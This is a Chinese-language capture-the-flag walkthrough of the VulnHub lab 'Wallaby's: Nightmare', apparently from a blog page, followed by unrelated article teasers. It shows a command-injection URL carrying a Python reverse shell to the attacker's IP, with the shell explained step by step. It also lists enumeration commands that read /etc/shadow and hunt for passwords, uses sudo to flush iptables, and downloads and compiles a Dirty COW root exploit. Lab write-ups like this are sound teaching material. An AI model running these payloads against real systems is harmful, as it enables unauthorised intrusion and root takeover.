Wallaby‘s: Nightmare (v1.0.2)靶场渗透
Wallaby's: Nightmare (v1.0.2)
来自 <Wallaby's: Nightmare (v1.0.2) ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.228
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.228
访问80端口存在的http服务
输入名字,跳转到一个新的页面,这个网站存在文件包含漏洞
4,枚举扫描出网站子目录
dirsearch -u http://192.168.23.228 -x 403,404
发现刷不出来,再用nmap扫描
访问 http://192.168.23.228:60080
天哪,这个家伙管理员要我......很高兴我搬到了另一个港口,这样我就可以更安全地工作了!!
众所周知,通过隐匿性实现安全是必经之路......
5,再进行扫描,主要是搜索对应的参数
http://192.168.23.228:60080/?page=mailer
查看页面源代码
在这个网页存在命令执行漏洞
http://192.168.23.228:60080/?page=mailer&mail
http://192.168.23.228:60080/?page=mailer&mail=pwd
http://192.168.23.228:60080/?page=mailer&mail=ls
6,然后再通过命令执行漏洞反弹shell到kali
http://192.168.23.228:60080/?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.23.182%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
1. 命令结构
python -c '...'
- 通过命令行直接执行Python单行代码,适用于快速执行无需保存脚本的场景。
2. 模块导入
import socket, subprocess, os
- socket: 建立网络连接。
- subprocess: 创建新进程(用于启动Shell)。
- os: 操作系统接口(用于文件描述符重定向)。
3. 创建Socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.23.182", 4444))
- AF_INET: 使用IPv4地址。
- SOCK_STREAM: 使用TCP协议。
- 连接到攻击者IP 192.168.23.182 的 4444 端口。
4. 重定向标准I/O
os.dup2(s.fileno(), 0) # 标准输入 (stdin)
os.dup2(s.fileno(), 1) # 标准输出 (stdout)
os.dup2(s.fileno(), 2) # 标准错误 (stderr)
- dup2: 将socket的文件描述符复制到进程的标准输入、输出、错误。
- 所有输入/输出/错误均通过Socket传输,而非本地终端。
5. 启动交互式Shell
p = subprocess.call(["/bin/sh", "-i"])
- /bin/sh -i: 启动交互式Shell(-i 表示交互模式)。
- subprocess.call: 执行命令并等待其结束(此处会持续运行直到连接关闭)。
然后kali启动一个nc监听444端口,使用python启动一个可交互shell
nc -lvvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
7,然后在kali里面信息收集
linux靶机信息收集命令表
类别 | 命令/操作 | 说明 | 示例或关键参数 |
系统信息 | uname -a | 查看内核版本、主机名、架构等 | uname -a |
cat /etc/os-release | 显示操作系统详细信息(适用于大多数发行版) | cat /etc/*release* | |
lsb_release -a | 查看系统发行版信息(Debian/Ubuntu) | lsb_release -a | |
hostnamectl | 显示主机名和操作系统版本(Systemd系统) | hostnamectl | |
硬件信息 | lscpu | 查看CPU信息(架构、核心数等) | lscpu |
free -h | 查看内存使用情况(以易读格式显示) | free -h | |
lsblk 或 df -h | 查看磁盘分区及挂载点 | df -h(显示磁盘空间) | |
用户与权限 | whoami | 显示当前用户 | whoami |
id | 查看当前用户UID/GID及所属组 | id | |
cat /etc/passwd | 列出所有用户信息 | cat /etc/passwd | |
cat /etc/shadow | 查看用户密码哈希(需root权限) | sudo cat /etc/shadow | |
sudo -l | 检查当前用户的sudo权限 | sudo -l | |
网络信息 | ifconfig 或 ip addr | 查看网络接口和IP地址 | ip addr show eth0 |
netstat -tulnp 或 ss -tuln | 查看监听端口和网络连接 | netstat -tulnp(显示PID和程序名) | |
route -n | 查看路由表 | route -n | |
arp -a | 显示ARP缓存表 | arp -a | |
服务与进程 | systemctl list-units --type=service | 列出所有系统服务(Systemd系统) | systemctl list-units --type=service |
ps aux | 查看所有运行中的进程 | ps aux | grep nginx | |
lsof -i | 列出打开的网络连接和对应进程 | lsof -i :80 | |
计划任务 | crontab -l | 查看当前用户的计划任务 | crontab -l |
ls /etc/cron.* | 检查系统级计划任务目录 | ls /etc/cron.hourly/ | |
cat /etc/crontab | 查看系统全局计划任务 | cat /etc/crontab | |
安装的软件 | dpkg -l (Debian/Ubuntu) | 列出已安装的软件包(Debian系) | dpkg -l | grep apache |
rpm -qa (RedHat/CentOS) | 列出已安装的软件包(RedHat系) | rpm -qa | grep httpd | |
日志分析 | tail /var/log/auth.log | 查看认证日志(登录、sudo操作等) | tail -f /var/log/auth.log |
tail /var/log/syslog | 查看系统日志(Ubuntu/Debian) | tail /var/log/syslog | |
journalctl | 查看Systemd日志(需root权限) | journalctl -u sshd | |
敏感文件 | find / -perm -4000 -type f 2>/dev/null | 查找SUID权限文件(可用于提权) | find / -perm -u=s -type f |
find / -writable -type d 2>/dev/null | 查找全局可写目录 | find / -writable -type d | |
grep -rnw '/' -e 'password' 2>/dev/null | 全局搜索包含关键词(如password)的文件 | grep -rni "password" /etc/ |
由此知道了操作系统和内核版本
查看能否sudo -l提权
允许root权限执行iptables命令
iptables 基本操作表
类别 | 命令/操作 | 说明 | 示例或关键参数 |
查看规则 | iptables -L -n -v | 列出所有规则(-L显示规则,-n不解析域名,-v详细信息) | iptables -L INPUT -n --line-numbers |
iptables -S [链名] | 以原始格式显示规则(便于备份和还原) | iptables -S INPUT | |
清空规则 | iptables -F | 清空所有链的规则(谨慎操作) | iptables -F INPUT(清空指定链) |
iptables -X | 删除用户自定义的空链 | iptables -X CUSTOM_CHAIN | |
iptables -Z | 重置计数器(包和字节统计归零) | iptables -Z | |
默认策略 | iptables -P 链名 动作 | 设置链的默认策略(ACCEPT/DROP) | iptables -P INPUT DROP |
规则管理 | iptables -A 链名 规则 | 在链的末尾追加规则 | iptables -A INPUT -p tcp --dport 22 -j ACCEPT |
iptables -I 链名 [位置] 规则 | 在链的指定位置插入规则(默认插入开头) | iptables -I INPUT 2 -s 192.168.1.1 -j DROP | |
iptables -D 链名 规则编号 | 删除指定链的规则(需先通过--line-numbers查看编号) | iptables -D INPUT 3 | |
IP/端口控制 | iptables -A INPUT -s IP -j DROP | 禁止指定IP访问本机 | iptables -A INPUT -s 10.0.0.5 -j DROP |
iptables -A INPUT -p tcp --dport 端口 -j ACCEPT | 开放指定TCP端口 | iptables -A INPUT -p tcp --dport 80 -j ACCEPT | |
iptables -A INPUT -p udp --dport 端口 -j ACCEPT | 开放指定UDP端口 | iptables -A INPUT -p udp --dport 53 -j ACCEPT | |
iptables -A INPUT -m multiport --dports 端口列表 -j ACCEPT | 同时开放多个端口(逗号分隔) | iptables -A INPUT -p tcp -m multiport --dports 22,80,443 -j ACCEPT | |
状态跟踪 | iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT | 允许已建立的连接和关联流量(需先放行) | 通常放在规则链开头 |
NAT转发 | iptables -t nat -A POSTROUTING -o 网卡 -j MASQUERADE | 启用IP伪装(用于共享上网或VPN) | iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE |
iptables -t nat -A PREROUTING -p tcp --dport 外部端口 -j DNAT --to 内网IP:端口 | 端口转发(将外部端口流量转到内网) | iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to 192.168.1.10:80 | |
日志记录 | iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: " | 记录匹配规则的数据包(日志保存在/var/log/syslog或/var/log/messages) | 需配合-j DROP/REJECT使用 |
保存与恢复 | iptables-save > /etc/iptables/rules.v4 | 保存当前规则到文件(需手动操作) | Debian/Ubuntu 默认路径 |
iptables-restore < /etc/iptables/rules.v4 | 从文件恢复规则 | 重启后需执行 | |
服务管理 | systemctl restart iptables | 重启iptables服务(部分系统需安装iptables-persistent) | 适用于规则持久化 |
查看规则清空规则
iptables -L
iptables -F
第二种方法脏牛提权
8,换一个脚本使用
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
gcc cowroot.c -o exp -pthread
chmod +x exp
./exp
提权成功,得到flag
相关文章:
Wallaby‘s: Nightmare (v1.0.2)靶场渗透
Wallabys: Nightmare (v1.0.2) 来自 <Wallabys: Nightmare (v1.0.2) ~ VulnHub> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182,靶场IP192.168.23…...
java基础 可拆分迭代器 Spliterator<T>
Spliterator Spliterator介绍核心方法tryAdvanceforEachRemainingtrySplitestimateSizetrySplit 结合并行流(Parallel Stream)关键注意事项总结 Spliterator介绍 Spliterator(Splittable Iterator)是 Java 8 引入的接口ÿ…...
【AI提示词】决策专家
提示说明 决策专家可以帮助你进行科学决策,尽可能避免错误,提升决策成功的概率。 提示词 # Role : 决策专家决策,是面对不容易判断优劣的几个选项,做出正确的选择。说白了,决策就是拿个主意。决策专家是基于科学决策…...
VectorBT量化入门系列:第二章 VectorBT核心功能与数据处理
VectorBT量化入门系列:第二章 VectorBT核心功能与数据处理 本教程专为中高级开发者设计,系统讲解VectorBT技术在量化交易中的应用。通过结合Tushare数据源和TA-Lib技术指标,深度探索策略开发、回测优化与风险评估的核心方法。从数据获取到策略…...
Spring Boot 配置文件加载优先级全解析
精心整理了最新的面试资料和简历模板,有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 Spring Boot 配置文件加载优先级全解析 Spring Boot 的配置文件加载机制是开发者管理不同环境配置的核心功能之一。其通过外部化配置(Externaliz…...
System V 信号量:控制进程间共享资源的访问
System V 信号量:控制进程间共享资源的访问 在多进程操作系统中,当多个进程需要共享资源时,必须确保对资源的访问是有序的,以避免竞争条件(Race Condition)和数据不一致性问题。System V 信号量࿰…...
海运货代系统哪家好?能解决了哪些常见管理难题?
随着跨境电商的迅速发展,货代行业在全球供应链中扮演着越来越重要的角色。随着市场需求的多样化和国际运输环境的复杂化,货代企业面临的挑战也愈发复杂。为了应对这些挑战,数字化管理工具成为货代行业不可或缺的一部分。如今先进的海运货代系…...
预测性维护+智能优化:RK3568的储能双保险
在碳中和目标推动下,储能行业正经历前所未有的发展机遇。作为储能系统的核心组件,储能柜的智能化水平直接影响着整个系统的效率和安全性。RK3568智慧边缘控制器凭借其强大的计算能力、丰富的接口和高效的能源管理特性,正在成为工商储能柜的&q…...
蓝桥20257-元宵分配
#include <iostream> #include <bits/stdc.h> using namespace std; const int N1e910; typedef long long LL; int main() {// 请在此输入您的代码//将强其中的一碗全部倒进另一个中,将所有汤圆排序,最后选择前(N/2)…...
How to connect a mobile phone to your computer?
How to connect a mobile phone to your computer? 1. Background /ˈbkɡraʊnd/2. How to connect a mobile phone to your computer?References 1. Background /ˈbkɡraʊnd/ Let me introduce the background first. Today we will talk about this topic: How to conn…...
【力扣刷题实战】全排列II
大家好,我是小卡皮巴拉 文章目录 目录 力扣题目:全排列II 题目描述 解题思路 问题理解 算法选择 具体思路 解题要点 完整代码(C) 兄弟们共勉 !!! 每篇前言 博客主页:小卡…...
题目练习之map的奇妙使用
♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥ ♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥ ♥♥♥我们一起努力成为更好的自己~♥♥♥ ♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥ ♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥ ✨✨✨✨✨✨ 个…...
Excel 日期值转换问题解析
目录 问题原因 解决方案 方法1:使用 DateTime.FromOADate 转换 方法2:处理可能为字符串的情况 方法3:使用 ExcelDataReader 时的处理 额外提示 当你在 Excel 单元格中看到 2024/12/1,但 C# 读取到 45627 时,这是…...
Linux--文件系统
ok,上次我们提到了硬件和inode,这次我们继续学习文件系统 ext2文件系统 所有的准备⼯作都已经做完,是时候认识下文件系统了。我们想要在硬盘上存储文件,必须先把硬盘格式化为某种格式的文件系统,才能存储文件。文件系…...
2025 年福建交安安全员考试:结合本省交通特点备考
福建地处东南沿海,交通建设具有独特特点,这对交安安全员考试备考意义重大。在桥梁建设方面,由于面临复杂的海洋环境,桥梁的防腐、防台风等安全措施成为重点。考生在学习桥梁施工安全知识时,要特别关注福建本地跨海大桥…...
【项目管理】第6章 信息管理概论 --知识点整理
项目管理 相关文档,希望互相学习,共同进步 风123456789~-CSDN博客 (一)知识总览 项目管理知识域 知识点: (项目管理概论、立项管理、十大知识域、配置与变更管理、绩效域) 对应&…...
python-leetcode 66.寻找旋转排序数组中的最小值
题目: 已知一个长度为n的数组,预先按照升序排列,经由1到n次旋转后,得到输入数组,例如,原数组 nums [0,1,2,4,5,6,7] 在变化后可能得到: 若旋转 4 次,则可以得到 [4,5,6,7,0,1,2]若…...
WinMerge下载及使用教程(附安装包)
文章目录 一、WinMerge安装步骤1.WinMerge下载:2.解压:3.启动: 二、WinMerge使用步骤1.添加文件或文件夹2.查看差异3.格式选择 WinMerge v2.16.36 是一款免费开源的文件与文件夹比较、合并工具,能帮您快速找出差异,提高…...
Codeforces Round 1011 (Div. 2)
Dashboard - Codeforces Round 1011 (Div. 2) - Codeforces Problem - B - Codeforces 题目大意: 给你一个数组,你可以用一段子序列中没有出现的最小非负整数,替换数组中的组序列,经过若干操作,让数组变为长度为1,值…...
深度学习实战105-利用LSTM+Attention模型做生产车间中的铝合金生产时的合格率的预测应用
大家好,我是微学AI,今天给大家介绍一下深度学习实战105-利用LSTM+Attention模型做生产车间中的铝合金生产时的合格率的预测应用。 本项目利用LSTM+Attention模型对铝合金生产合格率进行预测,不仅在理论上具有创新性和可行性,而且在实际应用中也具有重要的价值和广阔的应用前…...
苹果内购支付 Java 接口
支付流程,APP支付成功后 前端调用后端接口,后端接口将前端支付成功后拿到的凭据传给苹果服务器检查,如果接口返回成功了,就视为支付。 代码,productId就是苹果开发者后台提前设置好的 产品id public CommonResult<S…...
Scrapy 是什么?Python 强大的爬虫框架详解
1. Scrapy 简介 Scrapy 是一个用 Python 编写的开源 网络爬虫框架,用于高效地从网站提取结构化数据。它提供了完整的爬虫开发工具,包括请求管理、数据解析、存储和异常处理等功能,适用于数据挖掘、监测和自动化测试等场景。 Scrapy 的核心特…...
一种用于基于扩散磁共振成像(MRI)的微观结构估计的外梯度与噪声调谐自适应迭代网络|文献速递-深度学习医疗AI最新文献
Title 题目 An extragradient and noise-tuning adaptive iterative network for diffusionMRI-based microstructural estimation 一种用于基于扩散磁共振成像(MRI)的微观结构估计的外梯度与噪声调谐自适应迭代网络 Background 背景 2.1. Advanced…...
需求的图形化分析-状态转换图
实时系统和过程控制应用程序可以在任何给定的时间内以有限的状态存在。当满足所定义的标准时,状态就会发生改变,例如在特定条件下,接收到一个特定的输入激励。这样的系统是有限状态机的例子。此外,许多业务对象(如销售…...
3月AI论文精选十篇
1. Feature-Level Insights into Artificial Text Detection with Sparse Autoencoders[1] 核心贡献:通过稀疏自编码器揭示AI生成文本的检测特征,提出基于特征分布的鉴别方法。研究发现,AI文本在稀疏编码空间中呈现独特的"高频低幅"…...
【android bluetooth 框架分析 01】【关键线程 2】【bt_stack_manager_thread线程介绍】
1. bt_stack_manager_thread bt_stack_manager_thread 是蓝牙协议栈中的核心调度线程,负责串行化处理协议栈的生命周期事件,包括初始化、启动、关闭与清理操作。它确保这些状态切换在同一线程中按顺序执行,避免竞态和资源冲突。作为蓝牙栈的…...
GEO, TCGA 等将被禁用?!这40个公开数据库可能要小心使用了
GEO, TCGA 等将被禁用?!这40个公开数据库可能要小心使用了 最近NIH公共数据库开始对中国禁用的消息闹得风风火火: 你认为研究者上传到 GEO 数据库上的数据会被禁用吗? 单选 会,毕竟占用存储资源 不会,不…...
matlab安装python API 出现Invalid version: ‘R2022a‘,
打开 setup.py 文件,找到设置版本号的部分 将 versionR2022a 修改为符合 Python 版本号规范的格式,例如 version2022.1 保存 setup.py 文件...
【ROS 通信】Services 服务通信
【ROS】Service 服务通信 前言前置操作创建一个 tutorial 功能包定义服务接口修改 CMakeLists.txt 文件修改 find_package修改 add_service_files修改 generate_messages修改 catkin_packagefind_package 和 catkin_package 修改 package.xml 文件构建 服务通信的 Python 实现服…...
25.4.8学习总结
javaFX实现倒计时 核心概念 Timeline: Timeline 是JavaFX动画API的核心类,用于创建动画。它可以按照指定的时间间隔(Duration)触发事件(KeyFrame)。 可以将其视为一个定时器,每隔一段时间执行一些操作。 …...
Android audio(6)-audiopolicyservice介绍
AudioPolicyService 是策略的制定者,比如某种 Stream 类型不同设备的音量(index/DB)是多少、某种 Stream 类型的音频数据流对应什么设备等等。而 AudioFlinger 则是策略的执行者,例如具体如何与音频设备通信,维护现有系…...
【区块链安全 | 第三十八篇】合约审计之获取私有数据(二)
文章目录 前言漏洞代码代码审计攻击步骤修复/开发建议审计思路 前言 在【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码…...
muduo:运行起来
Muduo 概述 Muduo 是一个用 C 编写的高性能网络库,由陈硕开发,主要用于开发 Linux 环境下的高性能网络应用程序。以下从几个方面对其进行详细介绍: 特点 事件驱动与非阻塞 I/O:Muduo 基于 Reactor 模式实现,使用了 …...
算法篇(八)【递归】
一、了解递归 1. 什么是递归? 递归就是自己调用自己 递归的概念解释起来就短短的几句话,但是写起来总是无从下手 ,但是首先要相信,在学过了数据结构 -- 树 之后 , 其实就已经具备了一定的递归思想,接下来的…...
Linux 学习笔记(4):cd 与 pwd 命令的深度解析与实战应用(期末、期中复习必备)
前言 一、cd 命令:切换工作目录的利器 1.命令来源与基本语法 2.命令使用示例 3.相对路径与绝对路径的使用 二、pwd 命令:清晰定位当前工作目录 1.命令来源与基本语法 2.命令使用示例 三、结语 前言 在 Linux 系统的操作中,对工作目录的…...
眨眼睛查看密码工具类
“眨眼睛查看密码”工具类实现思路: 一、核心功能 实现点击眼睛图标切换密码明文/星号显示,提升表单输入体验。包含以下关键功能: • 初始状态:密码框显示为星号,闭眼图标可见。 • 点击闭眼图标:切换为明…...
【嵌入式系统设计师】知识点:第9章 嵌入式系统安全性基础知识
提示:“软考通关秘籍” 专栏围绕软考展开,全面涵盖了如嵌入式系统设计师、数据库系统工程师、信息系统管理工程师等多个软考方向的知识点。从计算机体系结构、存储系统等基础知识,到程序语言概述、算法、数据库技术(包括关系数据库、非关系型数据库、SQL 语言、数据仓库等)…...
find指令中使用正则表达式
linux查找命令能结合正则表达式吗 find命令要使用正则表达式需要结合-regex参数 另,-type参数可以指定查找类型(f为文件,d为文件夹) rootlocalhost:~/regular_expression# ls -alh 总计 8.0K drwxr-xr-x. 5 root root 66 4月 8日 16:26 . dr-xr-…...
【RH124】第六章 管理本地用户和组
系列文章目录 第一章 红帽企业Linux入门 第二章 访问命令行 第三章 从命令行管理文件 第五章 创建、查看文本文件 第六章 管理本地用户和组 文章目录 系列文章目录前言一、用户和组1、用户2、组 二、获取超级用户访问权限1、root用户2、切换用户账户3、sudo配置 三、管理本地用…...
Linux学习笔记——中断
中断 硬中断和软中断的定义与区别硬中断(Hardware Interrupt)软中断(Software Interrupt) 硬中断与软中断的区别总结上半部和下半部机制详解为什么要分为上半部和下半部?上半部下半部 下半部的三种实现机制Linux中断响…...
Linux 进程间通信:信号机制
Linux 进程间通信:信号机制 在多进程操作系统中,进程之间的通信至关重要,尤其是在Linux系统中,信号(Signal)作为一种特殊的进程间通信方式,广泛用于进程之间的协调和控制。信号可以看作是操作系…...
计算机控制系统:arduino控制无源滤波器播放音乐
1 电脑播放简单音节 播放哆瑞咪发嗦啦西 在音频处理领域,声音合成是通过计算机算法模拟人类声音的一种技术。具体来说,模拟哆瑞咪发嗦啦西音节需要声卡先接收基本音符的信号,然后通过数字信号处理技术,将该信号转换为模拟声音输出…...
FTP协议和win server2022安装ftp
FTP协议简介 FTP(File Transfer Protocol,文件传输协议)是一种用于在网络上的计算机之间传输文件的标准网络协议。它被广泛应用于服务器与客户端之间的文件上传、下载以及管理操作。FTP支持多种文件类型和结构,并提供了相对简单的…...
UNet 改进(4):融合Ghost Module的轻量化分割网络
引言 在计算机视觉领域,U-Net因其优秀的性能在图像分割任务中广受欢迎。 随着模型复杂度的增加,计算资源和内存消耗也大幅上升。 本文将介绍一种改进的U-Net架构,通过引入Ghost Module来实现模型的轻量化,同时保持分割性能。 代码概述 这个实现构建了一个基于U-Net架构…...
香港VPS服务器如何优化CPU和内存使用率?
# 香港VPS服务器CPU与内存优化全攻略 在香港VPS服务器上优化CPU和内存使用率是提升性能、降低成本的关键。以下是经过验证的优化策略,涵盖从系统配置到应用层调优的全方位方案。 ## 一、系统级优化 ### 1. 内核参数调优 **调整swappiness值**(减少交…...
简单-快速-高效——模块化解析controlnet网络结构
资源 ControlNet论文:Adding Conditional Control to Text-to-Image Diffusion Models 官方项目:lllyasviel/ControlNet: Let us control diffusion models ControlNet 1.1项目地址:lllyasviel/ControlNet-v1-1-nightly diffusers框架的Co…...
C语言:字符串处理函数strstr分析
在 C 语言中,strstr 函数用于查找一个字符串中是否存在另一个字符串。它的主要功能是搜索指定的子字符串,并返回该子字符串在目标字符串中第一次出现的位置的指针。如果没有找到子字符串,则返回 NULL。 详细说明: 头文件…...
跨境企业应对美国加税:策略突围与破局之道
在全球经济一体化的浪潮中,跨境企业的业务发展与国际关系、贸易政策紧密相连。美国作为全球重要的经济体,其加税行为犹如一场突如其来的风暴,给众多跨境企业的运营带来了巨大冲击与挑战。面对这一严峻形势,跨境企业若想在波涛汹涌…...
Rust 是如何层层防错的
一、Rust 的多层防错机制 🧱 第一层:Rust语言自带的“编译时护盾” —— 错误连运行都跑不起来 错误类型Rust 怎么发现的?工具/机制举个例子✅ 语法缺陷写错了代码格式或语法Rust Analyzer(智能补全)少写了分号、括号…...
一种反激变换器的设计思路(01)
反激式转换器具有低成本且易于构建的优势,常被用作功率较低设备和电器的主要电源。其中固定开关频率(FF)和可变开关频率(QR)是两种基本的操作开关模式。本案例中,输入电压(Vin)为17V…...